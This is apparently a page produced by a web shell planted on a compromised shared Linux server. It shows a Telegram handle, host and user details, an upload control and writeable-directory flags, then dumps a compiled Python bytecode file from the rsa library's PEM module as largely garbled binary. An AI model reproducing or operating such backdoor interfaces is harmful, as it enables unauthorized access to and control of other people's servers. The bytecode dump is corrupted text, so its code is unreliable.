https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/rsa/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/rsa/__pycache__/pem.cpython-310.pyc
o

j��`��	@s�dZddlZddlZejeefZdedejeeffdd�Zdeded	edej	efd
d�Z
dededefdd
�Zdededefdd�ZdS)z0Functions that load and write PEM-encoded files.�N�
pem_marker�returncCs,t|t�s
|�d�}d|dd|dfS)z:
    Returns the start and end PEM markers, as bytes.
    �asciis-----BEGIN s-----s	-----END )�
isinstance�bytes�encode)r�r�)/usr/lib/python3/dist-packages/rsa/pem.py�_markerss




�r
�contents�	pem_start�pem_endccs��d}d}|��D]/}|��}|sq	||kr#|rtd|��d}d}q	|s&q	|r0||kr0d}n	d|vr5q	|Vq	|sAtd|��|rItd|��dS)z7Generator over PEM lines between pem_start and pem_end.FzSeen start marker "%r" twiceT�:zNo PEM start marker "%r" foundzNo PEM end marker "%r" foundN)�
splitlines�strip�
ValueError)rrr
�in_pem_part�seen_pem_start�linerrr	�
_pem_lines&s4��rcCsJt|t�s
|�d�}t|�\}}dd�t|||�D�}d�|�}t�|�S)a�Loads a PEM file.

    :param contents: the contents of the file to interpret
    :param pem_marker: the marker of the PEM content, such as 'RSA PRIVATE KEY'
        when your file has '-----BEGIN RSA PRIVATE KEY-----' and
        '-----END RSA PRIVATE KEY-----' markers.

    :return: the base64-decoded content between the start and end markers.

    @raise ValueError: when the content is invalid, for example when the start
        marker cannot be found.

    rcSsg|]}|�qSrr)�.0rrrr	�
<listcomp>gszload_pem.<locals>.<listcomp>�)rrrr
r�join�base64�standard_b64decode)rrrr
�	pem_lines�pemrrr	�load_pemSs



rcCsrt|�\}}t�|��dd�}|g}tdt|�d�D]}|||d�}|�|�q|�|�|�d�d�|�S)ajSaves a PEM file.

    :param contents: the contents to encode in PEM format
    :param pem_marker: the marker of the PEM content, such as 'RSA PRIVATE KEY'
        when your file has '-----BEGIN RSA PRIVATE KEY-----' and
        '-----END RSA PRIVATE KEY-----' markers.

    :return: the base64-encoded content between the start and end markers, as bytes.

    �
rr�@)r
r�standard_b64encode�replace�range�len�appendr)rrrr
�b64r�block_start�blockrrr	�save_pemns


r))
�__doc__r�typing�Union�strr�	FlexiText�Tupler
�Iteratorrrr)rrrr	�<module>s -

https://t.me/RX1948 - 2025